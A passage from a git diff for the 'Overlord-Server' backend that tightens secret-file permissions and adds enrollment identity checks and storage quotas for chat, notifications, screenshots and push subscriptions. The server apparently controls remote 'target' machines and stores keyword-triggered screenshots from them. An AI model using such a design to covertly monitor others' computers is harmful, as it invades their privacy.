COUNT(*) AS count FROM messages", + ).get() as { count: number }).count).toBe(2); + expect(save(chatRecord("incoming", 10_000)).ok).toBe(true); + expect(database.query( + "SELECT client_id FROM messages", + ).all()).toEqual([{ client_id: "incoming" }]); + } finally { + database.close(); + } + }); + + test("does not double-count rows pruned by client and fleet scopes", () => { + const { database, save } = chatStorageHarness({ + perClientMessages: 1, + globalMessages: 1, + }); + try { + const insert = database.prepare( + `INSERT INTO messages(client_id, sender, direction, text, timestamp) + VALUES ('same-client', 'Client', 'from_target', 'old', ?)`, + ); + database.transaction(() => { + for (let i = 0; i < MAX_CHAT_ROWS_PRUNED_PER_SCOPE + 500; i += 1) { + insert.run(i); + } + })(); + + expect(save(chatRecord("same-client", 10_000)).ok).toBe(true); + expect(database.query( + "SELECT client_id, text FROM messages", + ).all()).toEqual([{ client_id: "same-client", text: "hello" }]); + } finally { + database.close(); + } + }); + + test("rolls quota pruning back when the admitted insert fails", () => { + const { database, save } = chatStorageHarness({ globalMessages: 1 }); + try { + expect(save(chatRecord("retained", 1)).ok).toBe(true); + database.exec(` + CREATE TRIGGER reject_incoming_chat BEFORE INSERT ON messages + WHEN new.client_id = 'incoming' + BEGIN + SELECT RAISE(ABORT, 'injected failure'); + END; + `); + + expect(() => save(chatRecord("incoming", 2))).toThrow(); + expect(database.query( + "SELECT client_id FROM messages", + ).all()).toEqual([{ client_id: "retained" }]); + } finally { + database.close(); + } + }); + + test("does not retain per-identity rate metadata for compatible plugin traffic", () => { + const prefix = `rate-${crypto.randomUUID()}`; + for (let index = 0; index < MAX_CHAT_INCOMING_RATE_KEYS + 32; index += 1) { + chatPlugin.onEvent({}, `${prefix}-${index}`, "chat_message", {}); + } + expect(getChatRuntimeStats().incomingRateKeys).toBe(0); + }); +}); + +describe("chat browser attachment handling", () => { + test("does not navigate attachment blobs as top-level documents", async () => { + const source = await Bun.file(new URL("../../plugins/chat/chat.js", import.meta.url)).text(); + expect(source).not.toContain("window.open("); + expect(source).toContain("SAFE_IMAGE_MIMES.has"); + expect(source).toContain("showImagePreview"); + }); +}); diff --git a/Overlord-Server/src/config.ts b/Overlord-Server/src/config.ts index 5f7e8f6..5efeb5b 100644 --- a/Overlord-Server/src/config.ts +++ b/Overlord-Server/src/config.ts @@ -1,4 +1,4 @@ -import { existsSync, readFileSync, writeFileSync } from "fs"; +import { chmodSync, existsSync, readFileSync, writeFileSync } from "fs"; import { writeFile, mkdir } from "fs/promises"; import { dirname, resolve } from "path"; import logger from "./logger"; @@ -436,12 +436,15 @@ function loadSaveSecrets(savePath: string): SaveSecrets { } } -function persistSaveSecrets(savePath: string, secrets: SaveSecrets): void { +function persistSaveSecrets(savePath: string, secrets: SaveSecrets): boolean { try { - writeFileSync(savePath, JSON.stringify(secrets, null, 2)); + writeFileSync(savePath, JSON.stringify(secrets, null, 2), { mode: 0o600 }); + if (process.platform !== "win32") chmodSync(savePath, 0o600); logger.info(`Persisted secrets to ${savePath}`); + return true; } catch (error) { logger.warn("Failed to persist save.json secrets", error); + return false; } } @@ -506,7 +509,14 @@ async function writePersistentFileConfig(fileConfig: any): Promise { await mkdir(dirname(configPath), { recursive: true }); } catch {} - await writeFile(configPath, JSON.stringify(fileConfig, null, 2)); + await writeFile(configPath, JSON.stringify(fileConfig, null, 2), { mode: 0o600 }); + if (process.platform !== "win32") chmodSync(configPath, 0o600); +} + +function writePersistentFileConfigSync(fileConfig: any): void { + const configPath = getPersistentConfigPath(); + writeFileSync(configPath, JSON.stringify(fileConfig, null, 2), { mode: 0o600 }); + if (process.platform !== "win32") chmodSync(configPath, 0o600); } export function loadConfig(): Config { @@ -549,11 +559,9 @@ export function loadConfig(): Config { const passwordFromEnv = process.env.OVERLORD_PASS; const passwordFromConfig = fileConfig.auth?.password; - const passwordFromSaved = savedSecrets.auth?.bootstrapPassword; - let finalBootstrapPassword = + const finalBootstrapPassword = passwordFromEnv || passwordFromConfig || - passwordFromSaved || DEFAULT_CONFIG.auth.password; const passwordIsUserSupplied = Boolean(passwordFromEnv) || @@ -1054,10 +1062,11 @@ thumbnails: { if (saveChanged) { const nextSecrets: SaveSecrets = { + ...savedSecrets, auth: { + ...savedSecrets.auth, jwtSecret: finalJwtSecret, agentToken: finalAgentToken, - bootstrapPassword: finalBootstrapPassword, }, }; persistSaveSecrets(savePath, nextSecrets); @@ -1610,7 +1619,7 @@ export function setBuildBanlist(banlist: string[]): void { const fileConfig = readFileConfigForUpdate(); fileConfig.buildSigning = next; try { - writeFileSync(getPersistentConfigPath(), JSON.stringify(fileConfig, null, 2)); + writePersistentFileConfigSync(fileConfig); } catch (err) { logger.warn("Failed to persist buildSigning banlist", err); } diff --git a/Overlord-Server/src/db/repositories.ts b/Overlord-Server/src/db/repositories.ts index 037ed06..d1ec9d0 100644 --- a/Overlord-Server/src/db/repositories.ts +++ b/Overlord-Server/src/db/repositories.ts @@ -1,7 +1,7 @@ import type { ClientInfo, ListFilters, ListResult, ClientRole } from "../types"; import Fuse from "fuse.js"; import { getThumbnailSummaries } from "../thumbnails"; -import { db, dbPath } from "./connection"; +import { db, dbPath, type TypedDatabase } from "./connection"; import "./schema"; export * from "./repositories/chat"; @@ -41,8 +41,8 @@ const UPSERT_CLIENT_ROW_SQL = `INSERT INTO clients (id, hwid, role, ip, host, os last_seen=excluded.last_seen, online=COALESCE(excluded.online, clients.online), ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms), - build_tag=COALESCE(excluded.build_tag, clients.build_tag), - built_by_user_id=COALESCE(excluded.built_by_user_id, clients.built_by_user_id), + build_tag=COALESCE(clients.build_tag, excluded.build_tag), + built_by_user_id=COALESCE(clients.built_by_user_id, excluded.built_by_user_id), enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE COALESCE(clients.enrollment_status, 'pending') END, public_key=COALESCE(excluded.public_key, clients.public_key), key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint), @@ -56,13 +56,26 @@ const UPSERT_CLIENT_ROW_SQL = `INSERT INTO clients (id, hwid, role, ip, host, os is_admin=COALESCE(excluded.is_admin, clients.is_admin), elevation=COALESCE(excluded.elevation, clients.elevation), permissions=COALESCE(excluded.permissions, clients.permissions) + WHERE + excluded.public_key IS NULL + OR clients.public_key = excluded.public_key + OR ( + clients.public_key IS NULL + AND COALESCE(clients.enrollment_status, 'pending') <> 'approved' + ) `; const upsertClientRowStmt = db.prepare(UPSERT_CLIENT_ROW_SQL); -function upsertClientRowInternal(partial: ClientDbRow): void { +function positiveEnrollmentLimit(name: string, fallback: number, max: number): number { + const parsed = Number(process.env[name]); + if (!Number.isFinite(parsed) || parsed <= 0) return fallback; + return Math.min(max, Math.max(1, Math.floor(parsed))); +} + +function upsertClientRowInternal(partial: ClientDbRow): boolean { const now = partial.lastSeen ?? Date.now(); - upsertClientRowStmt.run( + const result = upsertClientRowStmt.run( partial.id, partial.hwid ?? partial.id, partial.role ?? null, @@ -97,17 +110,83 @@ function upsertClientRowInternal(partial: ClientDbRow): void { partial.permissions ? JSON.stringify(partial.permissions) : null, ); - if (partial.hwid) { - db.run( - `DELETE FROM clients WHERE hwid=? AND id<>?`, - partial.hwid, - partial.id, - ); - } + return result.changes > 0; } +function publicKeyOwnedByAnotherClient(partial: ClientDbRow): boolean { + if (!partial.publicKey) return false; + const owner = db + .query<{ id: string }>("SELECT id FROM clients WHERE public_key=? LIMIT 1") + .get(partial.publicKey); + return !!owner && owner.id !== partial.id; +} + +const upsertClientRowTx = db.transaction((partial: ClientDbRow) => { + if (publicKeyOwnedByAnotherClient(partial)) return false; + return upsertClientRowInternal(partial); +}); + +const upsertPendingClientRowTx = db.transaction((partial: ClientDbRow & { publicKey: string }) => { + const now = partial.lastSeen ?? Date.now(); + const ttlHours = positiveEnrollmentLimit("OVERLORD_PENDING_ENROLLMENT_TTL_HOURS", 24 * 7, 24 * 365); + const stale = db.run( + `DELETE FROM clients WHERE id IN ( + SELECT id FROM clients + WHERE COALESCE(enrollment_status, 'pending') = 'pending' + AND last_seen < ? + LIMIT 500 + )`, + now - ttlHours * 60 * 60 * 1000, + ); + const existing = db + .query<{ public_key: string | null }>( + `SELECT public_key FROM clients WHERE id=? LIMIT 1`, + ) + .get(partial.id); + + const keyOwner = db + .query<{ id: string }>("SELECT id FROM clients WHERE public_key=? LIMIT 1") + .get(partial.publicKey); + + // An enrollment request may refresh a row only when it proves the same + // identity. In particular, a legacy approved row without a key must not be + // claimed by supplying a new key for its ID. + if (existing && existing.public_key !== partial.publicKey) { + return { changed: false, pruned: stale.changes > 0 }; + } + if (keyOwner && keyOwner.id !== partial.id) { + return { changed: false, pruned: stale.changes > 0 }; + } + + if (!existing) { + const maxGlobal = positiveEnrollmentLimit("OVERLORD_MAX_PENDING_ENROLLMENTS", 100_000, 100_000); + const maxPerIp = positiveEnrollmentLimit("OVERLORD_MAX_PENDING_ENROLLMENTS_PER_IP", 10_000, 10_000); + const globalCount = db.query<{ count: number }>( + "SELECT COUNT(*) AS count FROM clients WHERE COALESCE(enrollment_status, 'pending')='pending'", + ).get()?.count ?? 0; + if (globalCount >= maxGlobal) { + return { changed: false, pruned: stale.changes > 0 }; + } + if (partial.ip) { + const ipCount = db.query<{ count: number }>( + `SELECT COUNT(*) AS count FROM clients + WHERE COALESCE(enrollment_status, 'pending')='pending' AND ip=?`, + ).get(partial.ip)?.count ?? 0; + if (ipCount >= maxPerIp) { + return { changed: false, pruned: stale.changes > 0 }; + } + } + } + + return { + changed: upsertClientRowInternal({ ...partial, enrollmentStatus: "pending" }), + pruned: stale.changes > 0, + }; +}); + const upsertClientRowsTx = db.transaction((rows: ClientDbRow[]) => { for (const row of rows) { + if (publicKeyOwnedByAnotherClient(row)) continue; upsertClientRowInternal(row); } }); @@ -115,8 +194,21 @@ const upsertClientRowsTx = db.transaction((rows: ClientDbRow[]) => { export function upsertClientRow( partial: ClientDbRow, ) { - upsertClientRowInternal(partial); - invalidateClientMetricsSummaryCache(); + const changed = upsertClientRowTx(partial); + if (changed) invalidateClientMetricsSummaryCache(); + return changed; +} + +/** + * Persist an unapproved enrollment without allowing the claimed ID or HWID to + * mutate a different client identity. + */ +export function upsertPendingClientRow( + partial: ClientDbRow & { publicKey: string }, +): boolean { + const result = upsertPendingClientRowTx(partial); + if (result.changed || result.pruned) invalidateClientMetricsSummaryCache(); + return result.changed; } export function upsertClientRows(rows: ClientDbRow[]): void { @@ -1712,21 +1804,213 @@ export interface NotificationScreenshotRecord { bytes: Uint8Array; } -export function saveNotificationScreenshot(record: NotificationScreenshotRecord) { - db.run( - `INSERT OR REPLACE INTO notification_screenshots - (id, notification_id, client_id, ts, format, width, height, bytes) - VALUES (?, ?, ?, ?, ?, ?, ?, ?)` - , - record.id, - record.notificationId, - record.clientId, - record.ts, - record.format, - record.width ?? null, - record.height ?? null, - record.bytes, +export const MAX_NOTIFICATION_SCREENSHOT_RECORD_BYTES = 64 * 1024 * 1024; + +export type NotificationScreenshotQuotaLimits = { + perClientCount: number; + perClientBytes: number; + globalCount: number; + globalBytes: number; +}; + +const DEFAULT_NOTIFICATION_SCREENSHOT_QUOTAS: NotificationScreenshotQuotaLimits = { + perClientCount: 10_000, + perClientBytes: 1024 * 1024 * 1024, + globalCount: 100_000, + globalBytes: 16 * 1024 * 1024 * 1024, +}; +const MAX_SCREENSHOT_ROWS_PRUNED_PER_SAVE = 250; + +function notificationScreenshotLimit( + name: string, + fallback: number, + maximum: number, +): number { + const value = Number(process.env[name]); + if (!Number.isSafeInteger(value) || value <= 0) return fallback; + return Math.min(value, maximum); +} + +function getNotificationScreenshotQuotaLimits(): NotificationScreenshotQuotaLimits { + return { + perClientCount: notificationScreenshotLimit( + "OVERLORD_NOTIFICATION_SCREENSHOT_CLIENT_MAX_COUNT", + DEFAULT_NOTIFICATION_SCREENSHOT_QUOTAS.perClientCount, + 10_000, + ), + perClientBytes: notificationScreenshotLimit( + "OVERLORD_NOTIFICATION_SCREENSHOT_CLIENT_MAX_BYTES", + DEFAULT_NOTIFICATION_SCREENSHOT_QUOTAS.perClientBytes, + 1024 * 1024 * 1024, + ), + globalCount: notificationScreenshotLimit( + "OVERLORD_NOTIFICATION_SCREENSHOT_GLOBAL_MAX_COUNT", + DEFAULT_NOTIFICATION_SCREENSHOT_QUOTAS.globalCount, + 100_000, + ), + globalBytes: notificationScreenshotLimit( + "OVERLORD_NOTIFICATION_SCREENSHOT_GLOBAL_MAX_BYTES", + DEFAULT_NOTIFICATION_SCREENSHOT_QUOTAS.globalBytes, + 16 * 1024 * 1024 * 1024, + ), + }; +} + +type ScreenshotQuotaRow = { count: number; bytes: number | null }; +type ScreenshotPruneRow = { id: string; bytes: number }; + +function deleteNotificationScreenshotRows( + database: TypedDatabase, + ids: string[], +): void { + if (ids.length === 0) return; + const placeholders = ids.map(() => "?").join(","); + database.run( + `UPDATE notifications SET screenshot_id=NULL WHERE screenshot_id IN (${placeholders})`, + ...ids, ); + database.run( + `DELETE FROM notification_screenshots WHERE id IN (${placeholders})`, + ...ids, + ); +} + +function pruneNotificationScreenshotScope( + database: TypedDatabase, + clientId: string | null, + protectedId: string, + incomingBytes: number, + maxCount: number, + maxBytes: number, +): boolean { + const stats = clientId === null + ? database.query( + `SELECT COUNT(*) AS count, COALESCE(SUM(LENGTH(bytes)), 0) AS bytes + FROM notification_screenshots`, + ).get() + : database.query( + `SELECT COUNT(*) AS count, COALESCE(SUM(LENGTH(bytes)), 0) AS bytes + FROM notification_screenshots WHERE client_id=?`, + ).get(clientId); + let count = Number(stats?.count ?? 0); + let bytes = Number(stats?.bytes ?? 0); + if (count + 1 <= maxCount && bytes + incomingBytes <= maxBytes) return true; + + const candidates = clientId === null + ? database.query( + `SELECT id, LENGTH(bytes) AS bytes FROM notification_screenshots + WHERE id<>? + ORDER BY ts ASC, id ASC LIMIT ?`, + ).all(protectedId, MAX_SCREENSHOT_ROWS_PRUNED_PER_SAVE) + : database.query( + `SELECT id, LENGTH(bytes) AS bytes FROM notification_screenshots + WHERE client_id=? AND id<>? ORDER BY ts ASC, id ASC LIMIT ?`, + ).all(clientId, protectedId, MAX_SCREENSHOT_ROWS_PRUNED_PER_SAVE); + + const pruneIds: string[] = []; + for (const candidate of candidates) { + pruneIds.push(candidate.id); + count -= 1; + bytes -= Number(candidate.bytes || 0); + if (count + 1 <= maxCount && bytes + incomingBytes <= maxBytes) break; + } + deleteNotificationScreenshotRows(database, pruneIds); + return count + 1 <= maxCount && bytes + incomingBytes <= maxBytes; +} + +/** + * Build the atomic screenshot writer separately so storage/quota behavior can + * be regression-tested against an isolated SQLite database. + */ +export function createNotificationScreenshotSaver( + database: TypedDatabase, + quotaProvider: () => NotificationScreenshotQuotaLimits = getNotificationScreenshotQuotaLimits, +): (record: NotificationScreenshotRecord) => boolean { + const transaction = database.transaction((record: NotificationScreenshotRecord): boolean => { + const byteLength = record.bytes?.byteLength ?? 0; + if (byteLength <= 0 || byteLength > MAX_NOTIFICATION_SCREENSHOT_RECORD_BYTES) return false; + + const notification = database.query<{ screenshot_id: string | null }>( + `SELECT screenshot_id FROM notifications WHERE id=? AND client_id=? LIMIT 1`, + ).get(record.notificationId, record.clientId); + if (!notification || notification.screenshot_id) return false; + + const limits = quotaProvider(); + if ( + limits.perClientCount <= 0 + || limits.perClientBytes <= 0 + || limits.globalCount <= 0 + || limits.globalBytes <= 0 + || byteLength > limits.perClientBytes + || byteLength > limits.globalBytes + ) return false; + + // Clean up a bounded number of rows left behind by older non-transactional + // writes before accounting for the new image. + const orphanRows = database.query<{ id: string }>( + `SELECT s.id FROM notification_screenshots s + LEFT JOIN notifications n + ON n.id=s.notification_id + AND n.client_id=s.client_id + AND n.screenshot_id=s.id + WHERE n.id IS NULL + AND s.id<>? + ORDER BY s.ts ASC, s.id ASC + LIMIT ?`, + ).all(record.id, MAX_SCREENSHOT_ROWS_PRUNED_PER_SAVE); + deleteNotificationScreenshotRows(database, orphanRows.map((row) => row.id)); + + const perClientSatisfied = pruneNotificationScreenshotScope( + database, + record.clientId, + record.id, + byteLength, + limits.perClientCount, + limits.perClientBytes, + ); + const globalSatisfied = pruneNotificationScreenshotScope( + database, + null, + record.id, + byteLength, + limits.globalCount, + limits.globalBytes, + ); + if (!perClientSatisfied || !globalSatisfied) return false; + + database.run( + `INSERT INTO notification_screenshots + (id, notification_id, client_id, ts, format, width, height, bytes) + VALUES (?, ?, ?, ?, ?, ?, ?, ?)`, + record.id, + record.notificationId, + record.clientId, + record.ts, + record.format, + record.width ?? null, + record.height ?? null, + record.bytes, + ); + const linked = database.run( + `UPDATE notifications SET screenshot_id=? + WHERE id=? AND client_id=? AND screenshot_id IS NULL`, + record.id, + record.notificationId, + record.clientId, + ); + if (linked.changes !== 1) { + throw new Error("notification screenshot link race"); + } + return true; + }); + + return transaction; +} + +const saveNotificationScreenshotTx = createNotificationScreenshotSaver(db); + +export function saveNotificationScreenshot(record: NotificationScreenshotRecord): boolean { + return saveNotificationScreenshotTx(record); } export function getNotificationScreenshot(notificationId: string): NotificationScreenshotRecord | null { @@ -1766,26 +2050,247 @@ export type NotificationRow = { screenshotId?: string; }; -export function saveNotification(record: NotificationRow) { - db.run( - `INSERT OR REPLACE INTO notifications - (id, client_id, host, user, os, title, process, process_path, detail, pid, keyword, category, ts, screenshot_id) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`, - record.id, - record.clientId, - record.host ?? null, - record.user ?? null, - record.os ?? null, - record.title, - record.process ?? null, - record.processPath ?? null, - record.detail ?? null, - record.pid ?? null, - record.keyword ?? null, - record.category, - record.ts, - record.screenshotId ?? null, +export type NotificationHistoryQuotaLimits = { + perClientCount: number; + perClientBytes: number; + globalCount: number; + globalBytes: number; +}; + +const DEFAULT_NOTIFICATION_HISTORY_QUOTAS: NotificationHistoryQuotaLimits = { + perClientCount: 100_000, + perClientBytes: 1024 * 1024 * 1024, + globalCount: 1_000_000, + globalBytes: 16 * 1024 * 1024 * 1024, +}; +const MAX_NOTIFICATION_ROWS_PRUNED_PER_SAVE = 2_000; +const NOTIFICATION_ROW_OVERHEAD_BYTES = 64; +const NOTIFICATION_PAYLOAD_BYTES_SQL = `( + ${NOTIFICATION_ROW_OVERHEAD_BYTES} + + COALESCE(LENGTH(CAST(id AS BLOB)), 0) + + COALESCE(LENGTH(CAST(client_id AS BLOB)), 0) + + COALESCE(LENGTH(CAST(host AS BLOB)), 0) + + COALESCE(LENGTH(CAST(user AS BLOB)), 0) + + COALESCE(LENGTH(CAST(os AS BLOB)), 0) + + COALESCE(LENGTH(CAST(title AS BLOB)), 0) + + COALESCE(LENGTH(CAST(process AS BLOB)), 0) + + COALESCE(LENGTH(CAST(process_path AS BLOB)), 0) + + COALESCE(LENGTH(CAST(detail AS BLOB)), 0) + + COALESCE(LENGTH(CAST(keyword AS BLOB)), 0) + + COALESCE(LENGTH(CAST(category AS BLOB)), 0) + + COALESCE(LENGTH(CAST(screenshot_id AS BLOB)), 0) +)`; + +function notificationHistoryLimit( + name: string, + fallback: number, + maximum: number, +): number { + const value = Number(process.env[name]); + if (!Number.isSafeInteger(value) || value <= 0) return fallback; + return Math.min(value, maximum); +} + +function getNotificationHistoryQuotaLimits(): NotificationHistoryQuotaLimits { + return { + perClientCount: notificationHistoryLimit( + "OVERLORD_NOTIFICATION_HISTORY_CLIENT_MAX_COUNT", + DEFAULT_NOTIFICATION_HISTORY_QUOTAS.perClientCount, + 100_000, + ), + perClientBytes: notificationHistoryLimit( + "OVERLORD_NOTIFICATION_HISTORY_CLIENT_MAX_BYTES", + DEFAULT_NOTIFICATION_HISTORY_QUOTAS.perClientBytes, + 1024 * 1024 * 1024, + ), + globalCount: notificationHistoryLimit( + "OVERLORD_NOTIFICATION_HISTORY_GLOBAL_MAX_COUNT", + DEFAULT_NOTIFICATION_HISTORY_QUOTAS.globalCount, + 1_000_000, + ), + globalBytes: notificationHistoryLimit( + "OVERLORD_NOTIFICATION_HISTORY_GLOBAL_MAX_BYTES", + DEFAULT_NOTIFICATION_HISTORY_QUOTAS.globalBytes, + 16 * 1024 * 1024 * 1024, + ), + }; +} + +function optionalNotificationStringBytes(value: string | undefined): number { + return value === undefined ? 0 : Buffer.byteLength(value, "utf8"); +} + +export function notificationPayloadBytes(record: NotificationRow): number { + return NOTIFICATION_ROW_OVERHEAD_BYTES + + Buffer.byteLength(record.id, "utf8") + + Buffer.byteLength(record.clientId, "utf8") + + optionalNotificationStringBytes(record.host) + + optionalNotificationStringBytes(record.user) + + optionalNotificationStringBytes(record.os) + + Buffer.byteLength(record.title, "utf8") + + optionalNotificationStringBytes(record.process) + + optionalNotificationStringBytes(record.processPath) + + optionalNotificationStringBytes(record.detail) + + optionalNotificationStringBytes(record.keyword) + + Buffer.byteLength(record.category, "utf8") + + optionalNotificationStringBytes(record.screenshotId); +} + +function deleteNotificationHistoryRows( + database: TypedDatabase, + ids: string[], +): void { + if (ids.length === 0) return; + const placeholders = ids.map(() => "?").join(","); + database.run( + `DELETE FROM notification_screenshots + WHERE notification_id IN (${placeholders}) + OR id IN ( + SELECT screenshot_id FROM notifications + WHERE id IN (${placeholders}) AND screenshot_id IS NOT NULL + )`, + ...ids, + ...ids, ); + database.run( + `DELETE FROM notifications WHERE id IN (${placeholders})`, + ...ids, + ); +} + +function pruneNotificationHistoryScope( + database: TypedDatabase, + clientId: string | null, + protectedId: string, + projectedCountDelta: number, + projectedBytesDelta: number, + maxCount: number, + maxBytes: number, +): boolean { + const stats = clientId === null + ? database.query<{ count: number; bytes: number }>( + `SELECT COUNT(*) AS count, + COALESCE(SUM(${NOTIFICATION_PAYLOAD_BYTES_SQL}), 0) AS bytes + FROM notifications`, + ).get() + : database.query<{ count: number; bytes: number }>( + `SELECT COUNT(*) AS count, + COALESCE(SUM(${NOTIFICATION_PAYLOAD_BYTES_SQL}), 0) AS bytes + FROM notifications WHERE client_id=?`, + ).get(clientId); + let count = Number(stats?.count ?? 0) + projectedCountDelta; + let bytes = Number(stats?.bytes ?? 0) + projectedBytesDelta; + if (count <= maxCount && bytes <= maxBytes) return true; + + const candidates = (clientId === null + ? database.query<{ id: string; bytes: number }>( + `SELECT id, ${NOTIFICATION_PAYLOAD_BYTES_SQL} AS bytes + FROM notifications + WHERE id<>? + ORDER BY ts ASC, id ASC + LIMIT ?`, + ).all(protectedId, MAX_NOTIFICATION_ROWS_PRUNED_PER_SAVE) + : database.query<{ id: string; bytes: number }>( + `SELECT id, ${NOTIFICATION_PAYLOAD_BYTES_SQL} AS bytes + FROM notifications + WHERE client_id=? AND id<>? + ORDER BY ts ASC, id ASC + LIMIT ?`, + ).all(clientId, protectedId, MAX_NOTIFICATION_ROWS_PRUNED_PER_SAVE)); + + const pruneIds: string[] = []; + for (const candidate of candidates) { + pruneIds.push(candidate.id); + count -= 1; + bytes -= Number(candidate.bytes || 0); + if (count <= maxCount && bytes <= maxBytes) break; + } + deleteNotificationHistoryRows(database, pruneIds); + return count <= maxCount && bytes <= maxBytes; +} + +/** Build an atomic notification writer for isolated quota regression tests. */ +export function createNotificationSaver( + database: TypedDatabase, + quotaProvider: () => NotificationHistoryQuotaLimits = getNotificationHistoryQuotaLimits, +): (record: NotificationRow) => boolean { + const transaction = database.transaction((record: NotificationRow): boolean => { + if ( + typeof record.id !== "string" + || record.id.length === 0 + || typeof record.clientId !== "string" + || record.clientId.length === 0 + || typeof record.title !== "string" + || typeof record.category !== "string" + || !Number.isFinite(record.ts) + ) return false; + + const limits = quotaProvider(); + const bytes = notificationPayloadBytes(record); + if ( + limits.perClientCount <= 0 + || limits.perClientBytes <= 0 + || limits.globalCount <= 0 + || limits.globalBytes <= 0 + || bytes > limits.perClientBytes + || bytes > limits.globalBytes + ) return false; + + const existing = database.query<{ client_id: string; bytes: number }>( + `SELECT client_id, ${NOTIFICATION_PAYLOAD_BYTES_SQL} AS bytes + FROM notifications WHERE id=? LIMIT 1`, + ).get(record.id); + const existingInClientScope = existing?.client_id === record.clientId; + + const perClientSatisfied = pruneNotificationHistoryScope( + database, + record.clientId, + record.id, + existingInClientScope ? 0 : 1, + bytes - (existingInClientScope ? Number(existing.bytes || 0) : 0), + limits.perClientCount, + limits.perClientBytes, + ); + const globalSatisfied = pruneNotificationHistoryScope( + database, + null, + record.id, + existing ? 0 : 1, + bytes - Number(existing?.bytes || 0), + limits.globalCount, + limits.globalBytes, + ); + if (!perClientSatisfied || !globalSatisfied) return false; + + database.run( + `INSERT OR REPLACE INTO notifications + (id, client_id, host, user, os, title, process, process_path, detail, pid, keyword, category, ts, screenshot_id) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`, + record.id, + record.clientId, + record.host ?? null, + record.user ?? null, + record.os ?? null, + record.title, + record.process ?? null, + record.processPath ?? null, + record.detail ?? null, + record.pid ?? null, + record.keyword ?? null, + record.category, + record.ts, + record.screenshotId ?? null, + ); + return true; + }); + + return transaction; +} + +const saveNotificationTx = createNotificationSaver(db); + +export function saveNotification(record: NotificationRow): boolean { + return saveNotificationTx(record); } export function updateNotificationScreenshotId(notificationId: string, screenshotId: string) { @@ -1950,12 +2455,131 @@ export interface PushSubscriptionRecord { createdAt: number; } -export function savePushSubscription(userId: number, endpoint: string, p256dh: string, auth: string): void { +export interface PushSubscriptionLimits { + perUser: number; + global: number; +} + +export type SavePushSubscriptionResult = + | { ok: true; action: "created" | "updated"; evictedEndpoint?: string } + | { ok: false; reason: "endpoint_conflict" } + | { ok: false; reason: "global_limit"; limit: number }; + +function positivePushSubscriptionLimit(name: string, fallback: number, maximum: number): number { + const parsed = Number(process.env[name]); + if (!Number.isFinite(parsed) || parsed <= 0) return fallback; + return Math.min(maximum, Math.max(1, Math.floor(parsed))); +} + +export function getPushSubscriptionLimits(): PushSubscriptionLimits { + return { + perUser: positivePushSubscriptionLimit( + "OVERLORD_MAX_PUSH_SUBSCRIPTIONS_PER_USER", + 10, + 1_000, + ), + global: positivePushSubscriptionLimit( + "OVERLORD_MAX_PUSH_SUBSCRIPTIONS", + 10_000, + 1_000_000, + ), + }; +} + +const savePushSubscriptionTx = db.transaction(( + userId: number, + endpoint: string, + p256dh: string, + auth: string, + limits: PushSubscriptionLimits, +): SavePushSubscriptionResult => { + const existing = db + .query<{ user_id: number }>( + `SELECT user_id FROM push_subscriptions WHERE endpoint=? LIMIT 1`, + ) + .get(endpoint); + + // Do not let one signed-in user take over another user's endpoint. Updating + // the keys for the endpoint's existing owner does not consume another slot. + if (existing) { + if (existing.user_id !== userId) { + return { ok: false, reason: "endpoint_conflict" }; + } + db.run( + `UPDATE push_subscriptions + SET p256dh=?, auth=?, created_at=? + WHERE endpoint=? AND user_id=?`, + p256dh, + auth, + Date.now(), + endpoint, + userId, + ); + return { ok: true, action: "updated" }; + } + + const userCount = Number(db + .query<{ count: number }>( + `SELECT COUNT(*) AS count FROM push_subscriptions WHERE user_id=?`, + ) + .get(userId)?.count ?? 0); + + let evictedEndpoint: string | undefined; + if (userCount >= limits.perUser) { + const oldest = db + .query<{ endpoint: string }>( + `SELECT endpoint FROM push_subscriptions + WHERE user_id=? + ORDER BY created_at ASC, id ASC + LIMIT 1`, + ) + .get(userId); + if (oldest) { + db.run( + `DELETE FROM push_subscriptions WHERE endpoint=? AND user_id=?`, + oldest.endpoint, + userId, + ); + evictedEndpoint = oldest.endpoint; + } + } else { + const globalCount = Number(db + .query<{ count: number }>(`SELECT COUNT(*) AS count FROM push_subscriptions`) + .get()?.count ?? 0); + if (globalCount >= limits.global) { + return { ok: false, reason: "global_limit", limit: limits.global }; + } + } + db.run( - `INSERT OR REPLACE INTO push_subscriptions (user_id, endpoint, p256dh, auth, created_at) + `INSERT INTO push_subscriptions (user_id, endpoint, p256dh, auth, created_at) VALUES (?, ?, ?, ?, ?)`, - userId, endpoint, p256dh, auth, Date.now(), + userId, + endpoint, + p256dh, + auth, + Date.now(), ); + return { ok: true, action: "created", ...(evictedEndpoint ? { evictedEndpoint } : {}) }; +}); + +export function savePushSubscription( + userId: number, + endpoint: string, + p256dh: string, + auth: string, + limits: PushSubscriptionLimits = getPushSubscriptionLimits(), +): SavePushSubscriptionResult { + const defaults = getPushSubscriptionLimits(); + const normalizedLimits = { + perUser: Number.isFinite(limits.perUser) + ? Math.max(1, Math.min(1_000, Math.floor(limits.perUser))) + : defaults.perUser, + global: Number.isFinite(limits.global) + ? Math.max(1, Math.min(1_000_000, Math.floor(limits.global))) + : defaults.global, + }; + return savePushSubscriptionTx(userId, endpoint, p256dh, auth, normalizedLimits); } export function deletePushSubscription(endpoint: string): void { @@ -1976,9 +2600,15 @@ export function deletePushSubscriptionsByUser(userId: number): void { } export function getPushSubscriptionsByUser(userId: number): PushSubscriptionRecord[] { + const limit = getPushSubscriptionLimits().perUser; return db - .query(`SELECT * FROM push_subscriptions WHERE user_id=?`) - .all(userId) + .query( + `SELECT * FROM push_subscriptions + WHERE user_id=? + ORDER BY created_at DESC, id DESC + LIMIT ?`, + ) + .all(userId, limit) .map((r: any) => ({ id: r.id, userId: r.user_id, @@ -1989,10 +2619,19 @@ export function getPushSubscriptionsByUser(userId: number): PushSubscriptionReco })); } -export function getAllPushSubscriptions(): PushSubscriptionRecord[] { +export function getAllPushSubscriptions(maxResults = getPushSubscriptionLimits().global): PushSubscriptionRecord[] { + const limit = Math.max( + 0, + Math.min(getPushSubscriptionLimits().global, Math.floor(Number(maxResults) || 0)), + ); + if (limit === 0) return []; return db - .query(`SELECT * FROM push_subscriptions`) - .all() + .query( + `SELECT * FROM push_subscriptions + ORDER BY created_at DESC, id DESC + LIMIT ?`, + ) + .all(limit) .map((r: any) => ({ id: r.id, userId: r.user_id, diff 